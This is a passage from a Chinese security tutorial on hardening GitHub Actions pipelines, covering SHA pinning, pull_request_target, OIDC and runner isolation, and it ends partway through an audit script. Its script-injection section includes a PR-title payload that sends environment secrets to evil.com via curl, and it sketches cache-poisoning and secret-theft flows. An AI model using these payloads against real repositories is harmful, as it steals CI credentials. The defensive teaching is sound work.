     → 你下次构建就执行了恶意代码(★ 这又回到 9.2.5 的 tag 可变性问题)
  ③ 很多流行的 Action 是由个人维护的,安全性无人审计
  ④ Action 还可以有【传递依赖】:它自己又用了别的 Action 或 npm 包

  ★ 真实事件:
    - 2021 年:研究人员发现 100+ 个流行 Action 存在"tag 可变"风险
    - 2023 年:tj-actions/changed-files 被入侵(供应链事件),
      攻击者修改了历史 tag,窃取了大量用户的 CI 凭据
      → ★ 这个事件之后,GitHub 强烈建议用 SHA pin

防御(3PPE):

# ============================================================
# ★★★ 最重要的一条:用 SHA pin,不要用 tag ★★★
# ============================================================

# ❌ 危险写法 1:用分支/tag
- uses: actions/checkout@v4          # v4 是 tag,可被重新指向
- uses: actions/checkout@main        # ★ 更危险:main 分支每天都在变

# ✅ 正确写法:用完整 commit SHA(40 位)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
#                        ↑ SHA 不可变,攻击者改不了历史 commit 的内容
#                                                              ↑ 注释写明版本,方便人看

# 如何获取 SHA?
#   git ls-remote https://github.com/actions/checkout v4.1.1
#   或者去 GitHub 上查该 release 对应的 commit
#   或者用 Dependabot:它会自动把 tag 更新为 SHA 并写注释

# ============================================================
# ★ 用 Dependabot 自动维护 SHA pin
# ============================================================
cat > .github/dependabot.yml <<'EOF'
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    # Dependabot 更新时会同时更新 SHA 和注释里的版本号
EOF

# ============================================================
# ★ 用组织级策略强制(企业最佳实践)
# ============================================================
# GitHub Enterprise 可以配置:
#   Settings → Actions → Policies
#     ☑ Allow actions created by GitHub          (官方 Action,相对可信)
#     ☑ Allow actions by marketplace verified creators
#     ☐ Allow all actions                        ← ★ 不要勾这个
#   或者用 allow list,只允许明确审批过的 Action

# ============================================================
# ★ 最小权限:即使 Action 是恶意的,也拿不到东西
# ============================================================
permissions: {}          # ★ 顶层默认全部关闭

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read     # ← 只读源码,最小权限
      # ★ 没有 id-token: write → Action 拿不到 OIDC token
      # ★ 没有 secrets: inherit → Action 拿不到仓库密钥
    steps:
      - uses: actions/checkout@b4ffde65...
# ============================================================
# ★ 最安全的第三方 Action 使用范式
# ============================================================
name: Secure Workflow

on:
  pull_request:
  push:
    branches: [main]

# ★ 1. 顶层最小化权限
permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    # ★ 2. job 级按需授权
    permissions:
      contents: read
    steps:
      # ★ 3. 所有 Action 用 SHA pin
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          persist-credentials: false   # ★ 4. 不把 GITHUB_TOKEN 留在 .git/config 里

      - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
        with:
          node-version: '20'
          cache: 'npm'

      # ★ 5. 用 npm ci(严格按 lockfile)
      - run: npm ci --ignore-scripts

      - run: npm test

      # ★ 6. 不把 secrets 传给第三方 Action(除非绝对必要)
      - uses: some-third-party/uploader@a1b2c3d4e5f6...
        # env:
        #   TOKEN: ${{ secrets.MY_TOKEN }}   ← ❌ 尽量不要

9.5.3 GitHub Actions 十大风险点(★ 面试最常考的一节)

这张表建议背下来,每条都能举出“危险写法”和“正确写法”。

# 风险点 危险写法 正确写法
1 pull_request_target 滥用 on: pull_request_target + actions/checkout 检出 PR 代码 + 执行 → fork PR 拿到你的 secrets 见下方详解
2 Action 用 tag/分支引用 uses: xxx@v1 用完整 40 位 SHA
3 secrets 传给 fork PR 用 pull_request_target 或 workflow_run 用 pull_request;敏感操作拆到独立 job
4 脚本注入 run: echo "${{ github.event.pull_request.title }}" 用 env: 传参,脚本里用 $VAR
5 GITHUB_TOKEN 权限过大 不写 permissions,默认继承组织设置(常常是 write) 顶层 permissions: {},job 级按需开
6 环境变量泄露 env: TOKEN: ${{ secrets.TOKEN }} 加在 workflow 顶层 → 所有 step 都能读 只在需要的 step 上加
7 Artifact 投毒 一个 job 上传 artifact,另一个有权限的 job 不经验证就下载执行 校验 artifact 的哈希;用 dawidd6/action-download-artifact 指定 run_id
8 workflow_dispatch 无输入校验 手动触发时把输入直接拼进 shell 输入用 env: 传;做白名单校验
9 issue_comment / fork 触发 on: issue_comment → 任何人评论都能触发流水线 加 if: github.event.comment.author_association == 'OWNER'
10 缓存投毒 actions/cache 的 key 可预测 → 恶意 PR 写入毒缓存,main 分支读到 见下方详解

风险点 1 详解:pull_request_target(★ 最重要,必须搞懂)

# ============================================================
# 先理解两个事件的本质区别
# ============================================================

# 【pull_request】 —— 安全
on: pull_request
#   触发时:workflow 用的是【PR 分支上的 workflow 文件】
#   密钥:  ★ fork PR 【拿不到】任何 secrets
#   GITHUB_TOKEN:只读权限
#   适用场景:跑测试、lint(99% 的场景用这个就对了)

# 【pull_request_target】 —— 危险
on: pull_request_target
#   触发时:workflow 用的是【目标分支(main)上的 workflow 文件】
#   密钥:  ★ fork PR 【能拿到】secrets!
#   GITHUB_TOKEN:★ 有写权限
#   设计初衷:让"外部贡献者的 PR"也能做需要权限的操作
#            (如自动给 PR 打标签、自动评论)
#   ★ 但如果你在这个事件下【检出并执行 PR 的代码】,就等于把密钥交给了陌生人
# ============================================================
# ❌❌❌ 致命错误写法(★ 这是最常见的 CI 漏洞,没有之一)
# ============================================================
name: PR Build
on: pull_request_target        # ← 危险事件

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # ★★★ 致命:检出 PR 的代码
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          #    ↑ 检出了 fork PR 的代码(攻击者完全可控)

      # ★★★ 致命:然后执行它的构建脚本
      - run: npm install && npm test
      #   → npm install 会跑 postinstall(9.2.4)
      #   → 攻击者的代码在【有 secrets 的环境】中执行
      #   → env | curl 到攻击者服务器,拿到所有密钥

      # 而且 workflow 里如果还有:
      #   env:
      #     AWS_SECRET: ${{ secrets.AWS_SECRET }}
      # → 攻击者直接拿到生产云账号
# ============================================================
# ✅ 正确写法一:用 pull_request(最简单、最推荐)
# ============================================================
name: PR Build
on: pull_request               # ← 换成这个

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read           # ← 显式最小权限
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      - run: npm ci
      - run: npm test
# ★ fork PR 拿不到任何 secrets,就算代码是恶意的也偷不到东西

# ============================================================
# ✅ 正确写法二:两步走(需要 fork PR 也能拿到构建结果时)
# ============================================================
name: Two-Stage PR Build

on:
  pull_request:
  pull_request_target:
    types: [labeled]           # ★ 只在"被打了标签"时才触发敏感 job

jobs:
  # ---------- 第 1 步:不安全的构建,但【没有密钥】 ----------
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci --ignore-scripts      # ★ 禁用安装脚本
      - run: npm test
      # 上传构建产物(不含密钥)
      - uses: actions/upload-artifact@a8a3f3ad30e3422c66c70a44a1e0b4a1f4b1a1b1
        with:
          name: build-output
          path: dist/

  # ---------- 第 2 步:有密钥的操作,但【不执行 PR 的代码】 ----------
  publish:
    needs: build
    # ★★ 关键:只有被 maintainer 打了 "safe to test" 标签才跑
    if: github.event_name == 'pull_request_target' &&
        github.event.label.name == 'safe to test'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
    steps:
      # ★ 检出的是【main 分支】的代码,不是 PR 的代码
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
        # 不指定 ref → 默认是 main

      # 下载第 1 步的产物
      - uses: actions/download-artifact@9bc31d5ccc31df68ecc42ccf4149144866c47d8a
        with:
          name: build-output
          path: dist/

      # ★ 用 main 分支的脚本发布,PR 代码只作为【数据】存在
      - run: ./scripts/publish.sh
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

风险点 4 详解:脚本注入

# ============================================================
# ❌ 危险:把不可信输入直接插进 run
# ============================================================
- name: Echo PR title
  run: echo "PR title is: ${{ github.event.pull_request.title }}"
  #
  # 攻击者把 PR 标题写成:
  #   hello"; curl -d "$(env|base64)" https://evil.com; echo "
  #
  # 那么实际执行的是:
  #   echo "PR title is: hello"; curl -d "$(env|base64)" https://evil.com; echo ""
  #                                  ↑★★★ 命令注入成功
  #
  # ★ 同样危险的还有这些(都是攻击者可控的):
  #   ${{ github.event.pull_request.body }}        PR 描述
  #   ${{ github.event.issue.title }}              issue 标题
  #   ${{ github.head_ref }}                       分支名 ★ 尤其危险,分支名几乎无限制
  #   ${{ github.event.comment.body }}             评论内容
  #   ${{ inputs.xxx }}                            workflow_dispatch 输入

# ============================================================
# ✅ 正确:用 env 传递,脚本里用 shell 变量
# ============================================================
- name: Echo PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title is: $PR_TITLE"
  # ★ 原理:env 里的值是通过【环境变量】传给 shell 的,
  #   不会被引号内插到 shell 命令行里,所以无法逃逸成命令
  #   (等价于:PR_TITLE='hello"; curl...; echo "' echo "PR title is: $PR_TITLE")

# ============================================================
# ✅ 更严格:对分支名这类做白名单校验
# ============================================================
- name: Validate branch name
  env:
    BRANCH: ${{ github.head_ref }}
  run: |
    if [[ ! "$BRANCH" =~ ^[a-zA-Z0-9._/-]+$ ]]; then
      echo "Invalid branch name"
      exit 1
    fi
    echo "Branch: $BRANCH"

风险点 10 详解:缓存投毒(★ 最隐蔽)

# ============================================================
# 原理
# ============================================================
# actions/cache 的工作方式:
#   ① job 结束时,把指定目录打包上传,key 由你定义
#   ② 下次 job 运行时,如果 key 命中,就下载并解压
#
# ★ 漏洞在哪:
#   在 GitHub Actions 里,【fork PR 创建的缓存,main 分支也能读到】
#   (缓存的作用域是"分支 + key",但默认的 fallback key 会跨分支命中)
#
#   攻击流程:
#     ① 攻击者 fork 仓库,提一个 PR
#     ② PR 的 workflow 里,正常跑完构建后,
#        缓存保存时【偷偷往缓存目录里塞一个恶意文件】
#     ③ PR 被关闭(没人发现异常)
#     ④ 之后 main 分支的任何构建,命中了这个缓存 key,
#        解压出恶意文件 → 在【有密钥的环境】中执行
#
#   ★ 这个攻击的危害:恶意代码的执行【延迟到了未来的某次构建】,
#     而且触发它的 workflow 文件是干净的 —— 极难排查。

# ============================================================
# ❌ 危险的缓存用法
# ============================================================
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
    # ★ key 是可预测的,且没有区分"这个缓存是谁创建的"

# ============================================================
# ✅ 缓解措施
# ============================================================
# 措施 1:★ 不让 fork PR 保存缓存(最有效)
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
    # ★ 只在非 fork PR 时保存
    save-always: ${{ github.event.pull_request.head.repo.full_name == github.repository }}
    #   ↑ 只有"PR 的源仓库 == 目标仓库"(即内部 PR)才保存缓存

# 措施 2:缓存目录最小化,且【不缓存可执行文件】
#    ❌ path: .              ← 缓存整个工作目录
#    ✅ path: ~/.npm         ← 只缓存依赖目录

# 措施 3:★ 使用缓存前校验内容(最严谨)
- name: Restore and verify cache
  run: |
    # 解压后检查是否有异常文件
    find ~/.npm -name "*.sh" -o -name "*.exe" | head
    if [ -f ~/.npm/malicious-marker ]; then
      echo "缓存被污染!"
      exit 1
    fi

# 措施 4:定期清理缓存(GitHub 会自动清理 7 天未使用的缓存)
#   也可以在仓库设置里手动 purge

9.5.4 密钥管理:用 OIDC 替代长期凭证(★ 最重要的一条改进)

问题:传统做法是把云厂商的长期密钥存在 CI 的 secrets 里。

❌ 传统做法的问题:
   AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
   AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
   ↑ 存在 GitHub Secrets 里,每次构建注入环境变量

   ① 这是【长期有效的密钥】,泄露后攻击者可以永久使用
   ② 它出现在环境变量里 → 恶意依赖(9.2.4)能直接偷走
   ③ 它可能被打印到 CI 日志(set -x、错误堆栈)→ 公开仓库的日志人人可见
   ④ 没有轮换机制(很多公司三年没换过)
   ⑤ 无法精确审计"这个密钥做了什么"

✅ OIDC 联邦(Workload Identity Federation):

核心思路:
  不给 CI 长期密钥,而是让 CI【每次运行时自报家门】,
  云厂商验证身份后,发一张【短时效的临时凭证】。

流程(以 GitHub Actions → AWS 为例):

  ① 你在 AWS 里创建一个 IAM Role(如 GitHubActionsDeployRole),
     并配置"信任策略"(trust policy):
       "我信任【token.actions.githubusercontent.com】签发的令牌,
        且令牌里的 sub 字段必须是 repo:acme/backend:*"

  ② CI 运行时,向 GitHub 的 OIDC provider 申请一个 JWT 令牌,
     令牌内容(★ 这些是不可伪造的,由 GitHub 签名):
       {
         "iss": "https://token.actions.githubusercontent.com",
         "sub": "repo:acme/backend:environment:production",
         "aud": "sts.amazonaws.com",
         "repository": "acme/backend",
         "workflow": "deploy.yml",
         "ref": "refs/heads/main",
         "job_workflow_ref": "acme/backend/.github/workflows/deploy.yml@refs/heads/main",
         "exp": 1773540663        ← ★ 几分钟后过期
       }

  ③ CI 把这个 JWT 发给 AWS STS,调用 AssumeRoleWithWebIdentity

  ④ AWS 验证:
       - JWT 的签名(用 GitHub 的公钥)
       - aud 字段是否是 sts.amazonaws.com
       - sub 字段是否匹配信任策略(★ 这是最关键的一步)
     → 全部通过,返回临时凭证(AccessKeyId + SecretAccessKey + SessionToken)
     → ★ 有效期默认 1 小时,最长可配到 12 小时

  ⑤ CI 用临时凭证操作 AWS

  ⑥ 凭证到期自动失效 —— 【没有长期密钥需要保管】

★ 攻击者视角的损失:
  就算恶意依赖偷走了环境变量,它拿到的也只是一张:
    - 1 小时后失效
    - 且只能做 Role 里授权的那几件事
  的临时凭证。
  ★ 危害从"永久拿到生产权限"降级为"1 小时的部分权限"。

AWS 配置实战:

// ============================================================
// 第 1 步:在 AWS 创建 OIDC Provider(只需做一次)
// ============================================================
// aws iam create-open-id-connect-provider \
//   --url https://token.actions.githubusercontent.com \
//   --client-id-list sts.amazonaws.com \
//   --thumbprint-list 6938fd4d98bab03faadb97b34396831e3780aea1
//   (thumbprint 是 GitHub OIDC 的证书指纹,会轮换,需定期更新)

// ============================================================
// 第 2 步:创建 IAM Role 的【信任策略】★ 这是安全的关键
// ============================================================
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          // ★ ① 必须是你的 token 的目标受众
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          // ★★★ ② 最关键的条件:限定 sub
          //   sub 格式:repo:<owner>/<repo>:<限定符>
          //
          //   ❌ 危险写法(很多人这么写):
          //     "token.actions.githubusercontent.com:sub": "repo:acme/*"
          //     → 允许 acme 组织下【所有仓库】用这个 role!
          //     → 任何一个小仓库被攻陷,都能拿到生产部署权限
          //
          //   ✅ 安全写法:精确到仓库 + 分支/environment
          "token.actions.githubusercontent.com:sub": [
            "repo:acme/backend:ref:refs/heads/main",
            "repo:acme/backend:environment:production"
          ]
        }
      }
    }
  ]
}

// ============================================================
// 第 3 步:给 Role 附加最小权限策略
// ============================================================
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchCheckLayerAvailability",
        "ecr:PutImage",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": ["ecs:UpdateService", "ecs:DescribeServices"],
      // ★ 限定到具体的服务,不是 "*"
      "Resource": "arn:aws:ecs:cn-north-1:123456789012:service/prod/backend"
    }
  ]
}
# ============================================================
# 第 4 步:GitHub Actions 里使用
# ============================================================
name: Deploy to Production

on:
  push:
    branches: [main]

permissions:
  contents: read
  id-token: write      # ★★ 必须:申请 OIDC token 的权限

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production    # ★ 配合 environment 的 Required reviewers

    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

      # ★ 用官方 Action 换取临时凭证(不需要任何长期密钥)
      - uses: aws-actions/configure-aws-credentials@010d0da01d0b5a38af31e9c3470dbfdabdecca3a # v4.0.1
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
          role-session-name: gh-${{ github.run_id }}
          aws-region: cn-north-1
          # ★ 不需要 aws-access-key-id / aws-secret-access-key!
          #   这个 Action 会自动用 OIDC token 换临时凭证,
          #   并注入到环境变量 AWS_ACCESS_KEY_ID 等(但带 SessionToken)

      - run: aws sts get-caller-identity
      - run: |
          aws ecs update-service \
            --cluster prod \
            --service backend \
            --force-new-deployment

GCP / Azure 的对应配置(简版):

# ============================================================
# GCP: Workload Identity Federation
# ============================================================
# ① 创建 Workload Identity Pool
gcloud iam workload-identity-pools create "github-pool" \
  --location="global" \
  --display-name="GitHub Actions Pool"

# ② 创建 Provider(绑定 GitHub OIDC)
gcloud iam workload-identity-pools providers create-oidc "github-provider" \
  --location="global" \
  --workload-identity-pool="github-pool" \
  --issuer-uri="https://token.actions.githubusercontent.com" \
  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \
  --attribute-condition="assertion.repository=='acme/backend'"   # ★ 限定仓库

# ③ 给服务账号授权(只给 github-pool 里符合条件的身份)
gcloud iam service-accounts add-iam-policy-binding "deploy@acme.iam.gserviceaccount.com" \
  --role="roles/iam.workloadIdentityUser" \
  --member="principalSet://iam.googleapis.com/projects/PROJECT_NUM/locations/global/workloadIdentityPools/github-pool/attribute.repository/acme/backend"

# ④ workflow 里用 google-github-actions/auth
#    - uses: google-github-actions/auth@v2
#      with:
#        workload_identity_provider: 'projects/.../providers/github-provider'
#        service_account: 'deploy@acme.iam.gserviceaccount.com'
# ============================================================
# Azure: Workload Identity (Federated Credentials)
# ============================================================
# ① 创建 App Registration + Service Principal
# ② 添加 Federated Credential:
az identity federated-credential create \
  --name "github-actions-backend-main" \
  --identity-name "backend-deploy-identity" \
  --resource-group "acme-rg" \
  --issuer "https://token.actions.githubusercontent.com" \
  --subject "repo:acme/backend:ref:refs/heads/main" \
  --audience "api://AzureADTokenExchange"
#   ★ --subject 就是那个关键的 sub 条件,务必精确到分支

★ OIDC 联邦的六个注意事项(踩过的坑):

① ★ sub 条件一定要精确到分支/environment,不要用通配符
    最危险的配置:sub: "repo:acme/*"
    → 你组织下任何一个仓库(包括实习生写的 demo)都能拿到生产权限

② thumbprint 会轮换
    AWS 的 OIDC provider 需要 GitHub 的证书指纹,
    GitHub 会轮换证书(2022 年、2023 年都轮换过)。
    → 轮换后如果不更新,所有流水线会突然失败
    → 建议:注册多个 thumbprint,或写脚本定期同步

③ 注意 aud 字段
    AWS 要求 aud=sts.amazonaws.com
    GCP 要求 aud 是 workload identity provider 的全名
    Azure 要求 aud=api://AzureADTokenExchange
    → 配错了会报 "InvalidIdentityToken"

④ 临时凭证有最短时长限制
    AWS STS 的 AssumeRoleWithWebIdentity 最短 15 分钟。
    如果你的 job 只需要 2 分钟,也至少给 15 分钟。
    但不要给太长(默认 1 小时通常够)。

⑤ ★ 有些第三方 Action 还不支持 OIDC
    老版本的 actions 可能只接受长期密钥。
    → 优先选支持 OIDC 的版本,或自己用 curl 调 STS

⑥ 日志脱敏依然要做
    就算用 OIDC,临时凭证出现在日志里也有风险(虽然只有 1 小时)。
    GitHub Actions 会自动脱敏部分已知格式,
    但建议自己在脚本里关掉 set -x,或显式 unset 敏感变量。

9.5.5 Self-hosted Runner 的风险与隔离

为什么 Self-hosted Runner 危险:

GitHub 官方托管 runner(ubuntu-latest 等)的特点:
  ✓ 每次 job 用【全新】的虚拟机
  ✓ job 结束后【立即销毁】
  ✓ 每次都是干净的环境

Self-hosted Runner(你自己买的机器,跑 GitHub Actions 的 agent)的特点:
  ✗ 长期存在(几个月不重装)
  ✗ 多个 job 共享同一台机器 → ★ 状态残留
  ✗ 通常在内网 → ★ 能访问内网服务
  ★ 而且它默认跑在【你登录的那个用户】权限下,常常是 root 或管理员

★ 三个具体的攻击场景:

  场景一:跨 job 污染
     job A(跑 fork PR 的不可信代码)在 /tmp 下留了个文件
     job B(有密钥的部署 job)在同一台机器上跑,读到了那个文件
     → 密钥泄露

  场景二:持久化
     攻击者在 fork PR 的 job 里,往 runner 上写了个 cron 或 systemd 服务
     → 之后每个 job 都在他的监控下运行
     → ★ 而且他可以修改 runner 的启动脚本,长期潜伏

  场景三:内网横向
     runner 在内网,能访问数据库、K8s API、内部服务
     → 攻击者通过 PR 就在你的内网里有了一个落脚点
     → 参见第七章的内网横向移动

★ 结论:
  在【公开仓库】上用 self-hosted runner 且允许 fork PR 触发
  = 把你的内网开放给互联网上的任何人
  ★ 这是 GitHub 官方文档明确警告的做法

如果你的场景必须用 Self-hosted Runner(如需要内网访问、特殊硬件、合规要求):

# ============================================================
# 隔离方案一:★ Ephemeral Runner(一次性 runner,最推荐)
# ============================================================
# 原理:每次 job 用一个全新的容器,job 结束后容器销毁

# 用 actions-runner-controller(ARC)在 K8s 里跑
helm repo add actions-runner-controller https://actions-runner-controller.github.io/actions-runner-controller
helm upgrade --install arc actions-runner-controller/actions-runner-controller \
  --namespace actions-runner-system --create-namespace

# 创建 Runner Scale Set(自动伸缩的一次性 runner)
helm upgrade --install arc-runner-set \
  -n arc-runners --create-namespace \
  --set githubConfigUrl="https://github.com/acme/backend" \
  --set githubConfigSecret.github_token="${GITHUB_PAT}" \
  --set maxRunners=10 \
  --set minRunners=0 \
  --set runnerGroup="arc-runners" \
  --set containerMode.type="dind" \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set

# ★ 关键特性:
#   - 每个 job 起一个新 Pod,job 结束 Pod 销毁
#   - 默认 minRunners=0,没有 job 时不占资源
#   - 状态不残留 → 杜绝跨 job 污染

# ============================================================
# 隔离方案二:容器化 runner + 非 root + 只读根文件系统
# ============================================================
docker run -d --restart always \
  --name github-runner \
  -e RUNNER_NAME=runner-01 \
  -e RUNNER_TOKEN="${RUNNER_TOKEN}" \
  -e RUNNER_REPOSITORY_URL="https://github.com/acme/backend" \
  -e RUNNER_WORKDIR=/tmp/runner \
  --read-only \                      # ★ 只读根文件系统
  --tmpfs /tmp:rw,size=4g \          # 只给 /tmp 可写
  --security-opt no-new-privileges \
  --user 1001:1001 \                 # ★ 非 root
  --network ci-network \             # ★ 独立网络(下面配 NetworkPolicy)
  --cap-drop ALL \                   # ★ 去掉所有 capabilities
  myoung34/github-runner:latest

# ============================================================
# 隔离方案三:网络限制(★ 必须做)
# ============================================================
cat <<'EOF'
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ci-runner-lockdown
  namespace: arc-runners
spec:
  podSelector:
    matchLabels:
      app: github-runner
  policyTypes: [Ingress, Egress]
  ingress: []          # ★ 不允许任何入站连接(runner 是主动拉取任务的)
  egress:
    # ① DNS
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
      ports:
        - protocol: UDP
          port: 53
    # ② GitHub(runner 要连 GitHub 拉任务)
    - to:
        - ipBlock:
            cidr: 140.82.112.0/20      # GitHub 的 IP 段(会变,需定期更新)
      ports:
        - protocol: TCP
          port: 443
    # ③ 公司 Nexus / 制品仓库 / 镜像仓库
    - to:
        - ipBlock:
            cidr: 10.20.0.0/16
      ports:
        - protocol: TCP
          port: 443
        - protocol: TCP
          port: 8081
    # ★ 默认拒绝其他所有出站
    #   → 恶意脚本偷了数据也传不出去(DNS 隧道除外,所以 DNS 也要监控)
EOF

# ============================================================
# 隔离方案四:★ 分开"可信"和"不可信"的 runner
# ============================================================
# 用 Runner Groups 做隔离:
#   - runner group "public-pr":跑 fork PR 的任务
#       → 无内网访问、无密钥、用完即毁
#   - runner group "internal":跑内部构建和部署
#       → 有密钥、有内网访问
#
# workflow 里指定:
#   jobs:
#     test:
#       runs-on:
#         group: public-pr        # ★ fork PR 只能用这个
#     deploy:
#       runs-on:
#         group: internal         # ★ 只有 main 分支能用
#
# ★ 这是最重要的架构原则:
#   【不可信代码】和【有权限的操作】必须跑在不同的机器上

9.5.6 流水线加固清单 + 自动审计脚本

★ CI/CD 加固 15 项检查表(可以直接拿去做内部评审):

## CI/CD 流水线安全检查表

### 权限与隔离
- [ ] 1. workflow 顶层设置了 `permissions: {}`,job 级按需授权
- [ ] 2. 敏感操作(部署、发布)放在独立的 job,并用 Environment + Required reviewers 保护
- [ ] 3. 没有使用 `pull_request_target` 检出并执行 PR 代码
- [ ] 4. 敏感仓库设置了 `.github/CODEOWNERS`,workflow 变更强制 review
- [ ] 5. 公开仓库不允许 fork PR 使用 self-hosted runner
- [ ] 6. .github/ 目录的变更需要 2 个及以上审批

### 依赖与引用
- [ ] 7. 所有第三方 Action 用完整 SHA pin(不是 tag/分支)
- [ ] 8. 配置了 Dependabot 自动更新 Action 版本
- [ ] 9. 组织级策略限制了可用 Action 的范围(不是 allow all)
- [ ] 10. 使用 npm ci / --frozen-lockfile / --require-hashes(不是 install)
- [ ] 11. 配置了 --ignore-scripts 或脚本白名单(9.2.4)

### 密钥与凭证
- [ ] 12. 云厂商访问用 OIDC 联邦,不使用长期 access key
- [ ] 13. OIDC 信任策略的 sub 条件精确到仓库+分支(不含宽泛通配符)
- [ ] 14. secrets 只在需要的 step 注入,不在 workflow 顶层
- [ ] 15. 定期(季度)审计 secrets 的使用情况和轮换

### 执行与输出
- [ ] 16. 所有动态输入(PR 标题、分支名、issue 内容)都用 env 传递
- [ ] 17. 构建机以非 root 运行
- [ ] 18. 构建机网络出口做了白名单限制
- [ ] 19. 缓存策略考虑了 fork PR 投毒(save-always 条件 + 目录最小化)
- [ ] 20. 敏感日志做了脱敏或关闭了 set -x

自动审计脚本(扫描仓库里所有 workflow,找出高风险模式):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
workflow_audit.py —— GitHub Actions 流水线安全审计

用法:
  python workflow_audit.py /path/to/repo
  python workflow_audit.py /path/to/repo --format json

检查项:
  1. 使用了 pull_request_target 且检出 PR 代码   → CRITICAL
  2. 第三方 Action 用 tag/分支而非 SHA           → HIGH
  3. 缺少 permissions 声明                       → MEDIUM
  4. permissions 里有 write 但可能不需要          → MEDIUM
  5. run 中直接内插了 github 上下文(脚本注入)    → HIGH
  6. 使用了长期密钥(secrets.AWS_ACCESS_KEY 等)  → HIGH
  7. 使用了 self-hosted runner                    → INFO(需人工确认)
  8. 缓存配置可能受 fork PR 投毒影响              → MEDIUM
"""
import re
import sys
import json
from pathlib import Path

try:
    import yaml
except ImportError:
    print("需要 pyyaml: pip install pyyaml")
    sys.exit(1)


# ★ 已知的危险模式
SECRET_KEY_PATTERN = re.compile(
    r'secrets\.(AWS_ACCESS_KEY|AWS_SECRET|AZURE_CLIENT_SECRET|'
    r'GCP_SERVICE_ACCOUNT_KEY|DOCKER_PASSWORD|NPM_TOKEN|PYPI_TOKEN)',
    re.IGNORECASE
)

# ★ 可被攻击者控制、且可能被内插进 run 的上下文
INJECTABLE_CONTEXT = re.compile(
    r'\$\{\{\s*(?:'
    r'github\.event\.(?:pull_request\.(?:title|body)|issue\.(?:title|body)|comment\.body)'
    r'|github\.head_ref'
    r'|inputs\.\w+'
    r')\s*\}\}'
)

SHA_PATTERN = re.compile(r'^[0-9a-f]{40}$')


def audit_workflow(path: Path):
    """审计单个 workflow 文件,返回问题列表"""
    issues = []
    try:
        with open(path, 'r', encoding='utf-8') as f:
            content = f.read()
        wf = yaml.safe_load(content)
    except Exception as e:
        return [{'severity': 'ERROR', 'msg': f'YAML 解析失败: {e}'}]

    if not isinstance(wf, dict):
        return issues

    # ---------- 检查 1:pull_request_target ----------
    triggers = wf.get('on') or wf.get(True) or {}
    if isinstance(triggers, dict):
        has_prt = 'pull_request_target' in triggers
    elif isinstance(triggers, list):
        has_prt = 'pull_request_target' in triggers
    else:
        has_prt = (triggers == 'pull_request_target')

    if has_prt:
        # 进一步看有没有检出 PR 代码
        checkout_pr = False
        for job_name, job in (wf.get('jobs') or {}).items():
            for step in (job or {}).get('steps', []) or []:
                uses = str(step.get('uses', ''))
                if 'actions/checkout' in uses:
                    ref = str((step.get('with') or {}).get('ref', ''))
                    if 'pull_request.head' in ref or 'github.head_ref' in ref:
                        checkout_pr = True
                        issues.append({
                            'severity': 'CRITICAL',
                            'msg': (f'job [{job_name}]: pull_request_target + 检出 PR 代码 '
                                    f'= fork PR 可以窃取你的 secrets!'),
                            'fix': '改用 pull_request 事件,或采用"两步走"模式(见 9.5.3 风险点 1)'
                        })
        if not checkout_pr:
            issues.append({
                'severity': 'MEDIUM',
                'msg': '使用了 pull_request_target,请确认没有检出或执行 PR 的代码',
                'fix': '如果只是打标签/评论,确保不执行 PR 代码'
            })

    # ---------- 检查 2:Action 是否 SHA pin ----------
    for job_name, job in (wf.get('jobs') or {}).items():
        for step in (job or {}).get('steps', []) or []:
            uses = str(step.get('uses', ''))
            if not uses or uses.startswith('./') or uses.startswith('docker://'):
                continue
            # 格式:<owner>/<repo>@<ref>
            if '@' in uses:
                ref = uses.split('@', 1)[1]
                if not SHA_PATTERN.match(ref):
                    issues.append({
                        'severity': 'HIGH',
                        'msg': f'job [{job_name}]: Action 未用 SHA pin → {uses}',
